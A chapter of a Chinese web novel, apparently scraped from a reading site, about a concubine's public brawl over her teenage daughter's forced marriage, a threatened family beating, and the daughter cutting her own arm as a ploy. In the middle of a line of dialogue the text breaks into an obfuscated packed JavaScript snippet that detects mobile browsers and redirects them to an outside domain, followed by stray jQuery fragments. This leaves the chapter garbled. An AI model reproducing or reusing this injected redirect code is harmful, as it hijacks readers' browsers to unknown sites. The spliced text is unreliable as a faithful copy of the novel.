22.第二十二章

作品:《我,财神爷,撒钱

    翌日上午吴安允想同曲氏好好谈一谈,结果被拒绝了。她态度决绝警告他,若再敢关押母女,势必让吴家酒铺开不下去。


    这是吴安允的命门,心中虽憎恨,却也知道利弊。


    一来他不会放她走,毕竟她身上有丰厚嫁妆还压在吴家,一旦离开,损失巨大;二来西奉酒的配方是吴家酒铺立足的根源,皆掌握在她手里,还有利用价值。


    权衡之下,吴安允忍气吞声,只为等待时机继续熬她。


    却哪里晓得,曲氏先下手为强,迅速发起了反击,就从女儿的亲事上着手,亲自走了一趟张二郎的猪肉摊子,大闹一场。


    平时胡红梅喜欢到李记杂货铺采买,也喜欢跟王娘子唠嗑,这会儿杂货铺里有点忙,聚集了好几位妇人。


    忽见一人匆匆跑过,说汪家巷子那边闹将起来了,吵嚷得不可开交。


    妇人们皆好奇不已,有人问道:“汪家巷子怎么了?”


    那人应道:“同悦酒铺的曲氏知道吧,就是男人前脚病死,后脚就进吴家做妾,闹到衙门里的那位!”


    当年曲氏在城里可是名人,一提起,许多当地人都晓得,连王娘子都伸长了脖子,一脸兴致勃勃道:“哟,那婆娘可不得了!”


    “可不!听说这会儿在汪家巷子的菜市跟张屠夫打了起来!”


    “好端端的,她跑去跟人家打什么?”


    “嗐!我也不晓得,不过他们说什么吴家要跟张屠夫结亲嫁女,曲氏不依,跑去闹了!”


    听到这些话,胡红梅一下子就明白了前因后果,插话道:“这茬儿我也听过,那曲氏的闺女好像才十几岁。”


    她这一提,有人道:“张二郎都三十多的人了,难不成是给儿子说亲?”


    “哪能呢,他那崽子才多大啊,不过十一二岁。”


    “合着是给他自个儿?”


    这话令在场的人们诧异不已,十几岁的闺女嫁给三十多岁的男人做继母,也难怪那曲氏要发飙。


    胡红梅实在蠢蠢欲动,问道:“汪家巷子在哪边,我去瞅瞅热闹。”


    她这一说,惹得人们也想去围观。汪家巷子离这边不算太远,穿过两条街就到了,于是空闲的妇人纷纷去看乐子。


    此刻张二郎的猪肉摊子被围观的人们堵得水泄不通,曲氏的大闹把整个菜市的群众都吸引了过来。


    她好似泼妇一般躺在地上打滚撒泼,又哭又闹咒骂张二郎不要脸,咒他断子绝孙。


    张二郎提着杀猪刀怒火冲天,他个头矮胖矮胖的,满脸横肉,眉毛上有一颗肉痣,被曲氏的撒泼气得抽动。


    张家二老怕他闹出人命来,死死拽住,不让他捅人。因为大儿子死得早,就只有张二郎一根独苗了,不敢出岔子。


    围观的众人议论纷纷,无不对曲氏的泼辣大开眼界。


    她大声痛骂张家见钱眼开,说自家闺女还未及笄,张家竟这般厚颜无耻上门提亲,想娶进门做继母糟践。


    啐了几口浓痰,曲云河哭喊连天,一边咒骂吴家可耻,一边痛骂张家缺德,引得人们议论。


    她之所以敢这般闹,全是因为张父在猪肉摊旁边的,周边人又多,出了事也能及时劝阻,要不然她哪里有胆子敢去惹提着杀猪刀的屠夫。


    为了脱离吴家,曲云河豁出脸面以身入局,痛哭流涕向旁人宣泄吴家的苛刻,把自己当成把戏让他人议论。


    有人骂她活该,有人骂吴家不是人,也有人骂张家贪财,各种声音都有。


    那张母马大姑也不是个善茬儿,平时欺软怕硬蛮横无比,哪里容得下曲云河撒泼,叫骂道:“我呸!你个不要脸的女昌妇,不过是吴家的小妾,哪来的脸撒泼?!”


    曲云河愤怒道:“老虔婆,你休要蹬鼻子上脸!”


    马氏六十多的年纪,看着干瘦驼背,却中气十足,撸起袖子,一副要干架的气势,大骂道:


    “贱母狗,自家男人尸骨未寒就巴巴跑到吴家做妾,我儿请媒人上吴家提亲,正室主母都应允了这门亲事,你这个做妾的小贱人哪来的资格在这儿狂吠?!”


    “贱母狗”三字辱骂得着实恶毒,曲云河当即便要冲上去拼命。


    马氏赶忙躲到儿子身后,方才张二郎还提着杀猪刀要捅人,这会儿反倒没那么大的气性了,放下杀猪刀拦人。


    曲云河不服回击:“你们张家一窝子腌臜泼才,妄想从我女儿身上捞到好处贴补张家,做你的春秋大梦!”又道,“人在做天在看,老虔婆□□黑良心被狗吃了,这不就遭了报应,大儿被老天爷收了去,活该!”


    两人骂架的阵势着实不得了,专挑各自的痛处戳。


    胡红梅几人过来时骂得正酣,市井妇人的言词简直不堪入耳,什么话脏就骂什么,甚至还带着听不懂的俚语。


    最后吴家得知这边的情形,家奴连忙过来把曲云河拽走。马氏不依,还要追上去叫骂,被张二郎劝住。


    晚些时候胡红梅回到内衙,同张兰说起这场骂架,听得张兰兴致勃勃,拍大腿道:“那曲氏当真厉害,豁得出去。”


    胡红梅也道:“是啊,听他们说在地上又是打滚又是哭闹的,泼辣得不得了。”


    张兰:“她想要打赢这场官司,就得大闹才好。”


    胡红梅点头,客观道:“吴家这回不占理,若是亲生的说亲给张家做填房继母,倒还没什么,又是继女,这不明摆着要收拾曲氏母女吃绝户吗?”


    张兰若有所思,“经此一闹,吴家虐女一事也该抖出来了。”


    不出所料,白日曲云河的所作所为把吴安允气得半死,只觉丢尽颜面。他满面铁青,指着跪在地上的妇人,咬牙切齿骂她枉为人母。


    林晓兰也帮腔,惺惺作态道:“琴娘糊涂,你今日大闹坏了三娘名声,日后她还如何嫁人?”


    曲云河被家奴按跪在地上,动惮不得,她梗着脖子,冷笑道:“好一个名声,把三娘嫁给一个大她近二十岁的屠夫,且还是去做填房后娘,敢问我的好姐姐,你就是这般要名声的?!”


    “你!”


    “我呸!一对虚情假意的狗男女,你们当外头的那些人都眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389249|183417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞎吗,还好意思训斥我败坏了吴家的名声,你二人若要点脸,就不会这般糟践三娘!”


    “你住口!”


    吴安允大声咆哮,太阳穴突突狂跳,双目赤红,彻底动了怒。


    “曲氏你好生看看自己的模样,人不像人鬼不像鬼,今日你在汪家巷子丑态百出,叫人看尽了笑话!你以为你这样大闹就能得到好处吗,简直天真,荒唐!”


    曲云河双目圆瞪,五官扭曲道:“吴大郎你有什么资格斥责我?!你若有良心,就不会同意这门亲事,让我曲氏成为奉县的笑话!是你自个儿要作死,好言难劝该死的鬼,自找的!”


    跪在地上的女人像疯子一般露出吃人的獠牙。


    吴安允的心情反常的平静,他冷冷地注视她,瞳孔收缩,生出杀人的心。他不想再忍耐下去了,她耗尽了他的耐性,缓缓闭眼,发出指令。


    “来人,家法伺候。”


    家奴立马搬来条凳,要打她板子,曲云河嘶声力竭道:“吴大郎,衙门还要继续提问我,你若敢动手,我必叫吴家……”


    “郎君!郎君!三娘流了好多血!”


    负责看守吴珍的王婆子匆匆跑了过来,嘴里的话引得众人侧目。


    林晓兰还等着曲云河被打板子,皱眉道:“大呼小叫的做什么?!”


    王婆子急躁道:“三娘疯了,拿刀往自个儿身上割,说吴家虐待她,到处都是血啊……”


    曲云河心头一紧,吴安允也站不住了,当即朝吴珍的厢房走去。


    林晓兰气得跺脚,骂道:“贱蹄子!”


    几人顾不得其他,匆忙去看情形。


    厢房里的吴珍忍着皮肉之痛往胳膊上划了几刀,她知道若要脱离这吃人的牢笼,唯有自己才能拯救母亲。


    她要救母,更是救自己于水火。


    房门被反锁,很快便传来急促的敲门声,吴安允一边拍门一边道:“三娘开门!”


    吴珍坐在地上,丢了尖刀,上前取桌上的温水抹到眼下,努力憋红眼眶,装作哭腔的样子,“爹要打死阿娘,女儿也活不下去了……”


    “三娘莫要胡来!”


    白日曲氏才闹过一场,若吴珍在这个节骨眼上出岔子,他吴安允定会摊上人命官司。


    没有任何犹豫,吴安允命人撞门。


    两名身强力壮的家奴用蛮力撞破房门,只见室内被砸得乱七八糟,吴珍满手是血坐在地上,披头散发的,模样很是唬人。


    林晓兰看得眼皮子狂跳。


    见吴珍手里还拿着尖刀,吴安允立即上前夺掉,怒目道:“你疯了!”


    吴珍没有吭声,只直勾勾看着门口的林晓兰。她既然害怕母女夺了吴家的家产,那她便成全他们。


    十三年前吴家就该败落了。


    她的母亲付出那么多心血供养这一家子白眼狼,明年她将及笄成人。


    她要送自己一件成人礼。


    “爹,西奉酒的配方在女儿这里,你想要吗?”


    说这话时,她看着林晓兰笑了,眼睛弯弯。